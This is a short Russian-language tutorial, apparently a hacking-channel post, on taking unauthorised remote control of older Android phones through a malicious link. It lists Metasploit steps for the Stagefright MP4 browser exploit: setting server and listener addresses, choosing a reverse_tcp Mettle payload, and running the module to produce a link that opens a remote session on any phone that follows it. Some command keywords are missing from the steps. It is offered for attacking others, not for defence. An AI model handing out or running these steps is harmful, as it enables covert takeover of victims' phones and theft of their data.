​​Удаленный доступ к смартфону через ссылку

То что по ссылке можно реализовать несанкционированный удаленный доступ на ПК знают многие, но это же можно сделать и для смартфона на Android. Существует несколько подобных уязвимостей, одна из которых Stagefright. Она присутствует на относительно старых версиях Android, и эксплуатируется с помощью эксплоита в Metasploit.

Установка

Устанавливаем Kali Linux.

В случае если пакет Stagefright не предустановлен в Metasploit, скачиваем его и закидываем в папку с эксплоитами.

Использование

Открываем консоль командой


Далее подключаем сам эксплоит

 exploit/android/browser/stagefright_mp4_tx3g_64bit

Теперь нужно будет последовательно прописать необходимые параметры

 SRVHOST <ip>
◽️set URIPATH / 
◽️set PAYLOAD linux/armle/mettle/reverse_tcp
◽️set LHOST <ip>
◽️set VERBOSE true

Остается только запустить скрипт

 -j

В окне появится ссылка, при переходе по которой откроется сессия для удаленного доступа.